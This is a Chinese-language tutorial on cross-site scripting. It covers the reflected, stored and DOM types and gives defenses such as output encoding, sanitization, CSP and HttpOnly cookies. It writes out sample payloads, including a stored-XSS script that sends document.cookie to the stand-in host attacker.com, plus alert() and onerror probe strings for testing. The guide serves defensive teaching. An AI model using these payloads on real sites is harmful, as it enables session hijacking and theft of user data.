XSS 攻击的类型和防御措施
XSS 攻击概述
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是 Web 安全中最常见的漏洞之一。攻击者通过在目标网站上注入恶意脚本,当用户访问被污染的页面时,脚本会在用户的浏览器中执行,从而窃取信息、劫持会话或篡改页面内容。
XSS 的核心成因是应用程序对用户输入未经过充分验证或转义,直接将数据嵌入到 HTML 页面中。根据注入方式的不同,XSS 主要分为三种类型:反射型 XSS、存储型 XSS 和 DOM 型 XSS。
反射型 XSS
攻击原理
反射型 XSS 也称为非持久型 XSS。恶意脚本通常通过 URL 参数、表单提交 等方式传递到服务器,服务器未经处理直接将这些数据“反射”回响应页面。当用户点击特制的链接时,脚本便在浏览器中执行。
典型场景
一个常见的例子是搜索功能:用户输入关键词后,页面可能显示“您搜索的XXX的结果如下”。如果服务器没有对关键词进行过滤,攻击者可以构造如下链接:
https://example.com/search?q=<script>alert('XSS')</script>
当受害者点击该链接,<script> 标签会被直接嵌入返回的页面,从而弹出警告框。
特点与危害
- 一次性触发:需要诱导用户点击链接,攻击不存储在服务器上。
- 传播方式:通常通过邮件、即时消息或钓鱼网站发送恶意 URL。
- 危害:盗取 Cookie 劫持会话、重定向到钓鱼页面、执行任意浏览器操作。
存储型 XSS
攻击原理
存储型 XSS 是最危险的类型。攻击者将恶意脚本提交到目标服务器的数据存储中(例如评论区、个人资料、留言板),当其他用户访问含有该恶意数据的页面时,脚本从服务器下发并在用户的浏览器中执行。
典型场景
假设一个论坛允许用户发表帖子,但没有过滤 JavaScript 代码。攻击者提交如下内容作为帖子正文:
<script>
// 窃取 Cookie 并发送到攻击者服务器
new Image().src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
每次有用户打开该帖子,脚本都会执行,将用户的 Cookie 悄悄发送出去。
特点与危害
- 持久性:恶意代码留在服务器数据库中,影响所有访问该数据的用户。
- 自动触发:受害者只需浏览正常页面即被攻击,无需点击特殊链接。
- 危害更大:可能形成 XSS 蠕虫,快速传播,造成大量用户信息泄露。
DOM 型 XSS
攻击原理
DOM 型 XSS 与服务器响应无关,完全发生在客户端。攻击利用 JavaScript 在浏览器端处理 DOM 的不安全方式,将恶意数据写入页面。恶意载荷通常同样来自 URL 或 document.referrer 等客户端资源,但不会被发送给服务器。
典型场景
页面有如下 JavaScript 代码:
var user = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "你好," + user;
攻击者构造链接:
https://example.com/welcome#<img src=x onerror=alert('XSS')>
location.hash 的内容被 innerHTML 直接渲染,触发 onerror 事件执行恶意脚本。在整个过程中,带 <img> 的部分没有经过服务器。
特点与危害
- 纯客户端问题:常规的服务器端过滤无法防御。
- 隐蔽性:恶意数据可能出现在不易察觉的 URL 片段(# 后面)。
- 常见危险操作:
innerHTML、document.write、eval等不安全的 DOM 操作函数。
XSS 攻击的常见载荷与危害
无论哪种类型,XSS 最终都能在受害者浏览器中执行攻击者控制的 JavaScript。常见恶意行为包括:
- Cookie 窃取:通过
document.cookie读取敏感凭证,发送至远程服务器。 - 会话劫持:利用偷来的 Session ID 冒充用户。
- 钓鱼欺骗:在页面内伪造登录框,收集用户密码。
- 网页篡改:修改页面内容,传播虚假信息。
- 键盘记录:监听
keypress事件记录用户输入。 - 内网扫描:利用浏览器发起内部网络请求,探测开放端口。
- 重定向与下载恶意软件:将用户引导到挂马页面。
XSS 防御措施
有效的 XSS 防御需要结合输出编码、输入验证、内容安全策略等多种手段,并在不同的上下文环境中选择合适的方案。
输出编码 (Contextual Output Encoding)
核心原则:根据数据插入到 HTML 上下文的位置,采用对应的转义规则。
- HTML 实体编码: 当数据作为 HTML 文本内容或属性值插入时,将
<、>、"、'、&等特殊字符转换为对应的 HTML 实体。例如<转为<。 - JavaScript 编码: 在
<script>标签内或事件处理函数中插入动态数据时,使用\x或\u转义,避免闭合脚本标签或属性。推荐将数据放在独立的<script>块外,通过data-*属性或 JSON 方式安全传递。 - URL 编码: 当数据作为 URL 参数或
href属性值时,进行百分号编码。同时验证 URL 协议,只允许http:、https:、mailto:等安全协议,禁止javascript:。 - CSS 编码: 在动态生成样式时,防止表达式注入,使用
\对特殊字符转义。
现代前端框架(React、Vue、Angular 等)默认会对插入的数据进行 HTML 转义,但仍需注意 v-html、dangerouslySetInnerHTML 等绕过转义的特性。
输入验证与消毒
- 白名单验证: 在服务端对所有输入进行校验,只接受符合预期格式的数据。例如,用户 ID 只允许数字和字母,邮箱符合标准格式。
- HTML 消毒 (Sanitization): 如果业务必须允许用户输入富文本(如评论中的粗体、链接),应使用经过严格测试的消毒库(例如 DOMPurify、OWASP Java HTML Sanitizer)来移除或转义危险的标签和属性,仅保留安全的白名单元素。
- 避免将用户输入置于危险上下文: 尽量不要将用户可控数据直接放入
<script>标签、HTML 注释、CSS 属性名或事件处理器中。
使用 HTTP 安全头部
- Content-Security-Policy (CSP): 通过指定允许加载资源的域名、禁止内联脚本和事件处理器等方式,极大降低 XSS 的利用成功率。一个严格的 CSP 策略示例:
可以配合Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'nonce或hash方式安全启用内联脚本。 - HttpOnly Cookie: 对于 Session ID 等敏感 Cookie,设置
HttpOnly标志,使其无法通过 JavaScript 的document.cookie访问,即使发生 XSS 也无法直接窃取。 - X-XSS-Protection(已过时): 旧版浏览器支持的反射型 XSS 过滤器,现代浏览器已废弃,不依赖此头部。
- X-Content-Type-Options: nosniff: 防止浏览器 MIME 类型嗅探,避免将用户上传的 HTML 文件当作可执行脚本。
安全使用 DOM API
- 尽量使用
textContent或innerText替代innerHTML来插入文本内容。 - 避免使用
document.write、eval、setTimeout/setInterval的字符串参数等可将字符串求值为代码的函数。 - 用
createElement、setAttribute等安全 API 构建 DOM,并对属性值进行严格校验。 - 如果必须动态加载脚本,请使用
script元素的src属性并配合nonce或使用安全的第三方域。
框架与模板引擎的安全配置
- 了解所用模板引擎的自动转义机制,并确保其始终处于开启状态。
- 避免在模板中使用
{{ <user-data> | safe }}或类似跳过转义的功能,除非数据已经过严格消毒。 - 对于 React,避免使用
dangerouslySetInnerHTML,若必须使用,确保内容已经过 DOMPurify 消毒。 - 前后端分离时,注意 API 返回的 JSON 数据不会被误当作 HTML 渲染,设置正确的
Content-Type: application/json来防止反射型 XSS。
分层防御示例
一个健壮的 Web 应用应同时实施多层防御:
- 输入:对用户输入进行白名单验证,拒绝不符合预期的数据。
- 存储:数据进入数据库前不改变,但输出时强制使用适合 HTML 上下文的编码。
- 输出:所有动态数据在拼入 HTML 之前进行上下文相关的转义。
- 前端:使用安全 DOM API,避免将不可信数据传入危险函数。
- HTTP 头:设置 CSP 限制脚本来源,敏感 Cookie 标记 HttpOnly,防止 MIME 嗅探。
- 第三方库:及时更新依赖,使用信誉良好的消毒库处理富文本。
漏洞检测与测试
开发人员和安全测试人员应定期进行 XSS 测试:
- 使用自动化扫描器(如 OWASP ZAP、Burp Suite)结合手动测试。
- 测试常用载荷:
<script>alert(1)</script>、"><svg onload=alert(1)>、javascript:alert(1)等。 - 在 URL 参数、表单字段、HTTP 头(如 Referer、User-Agent)等所有输入点尝试注入。
- 检查 DOM 型 XSS:审查客户端 JavaScript 代码中使用
location.*、innerHTML、$.html()等的位置。
总结
XSS 攻击的本质是信任了不可信的数据并执行了恶意脚本。防御的核心策略是:分离代码与数据,永远不要将用户提供的数据作为活动内容执行。通过严格的输出编码、输入验证、CSP 和安全的编程实践,开发者能有效消除绝大多数 XSS 风险。在安全上保持“零信任”原则:所有来自外部的数据都是不可信的,必须经过恰当处理后再使用。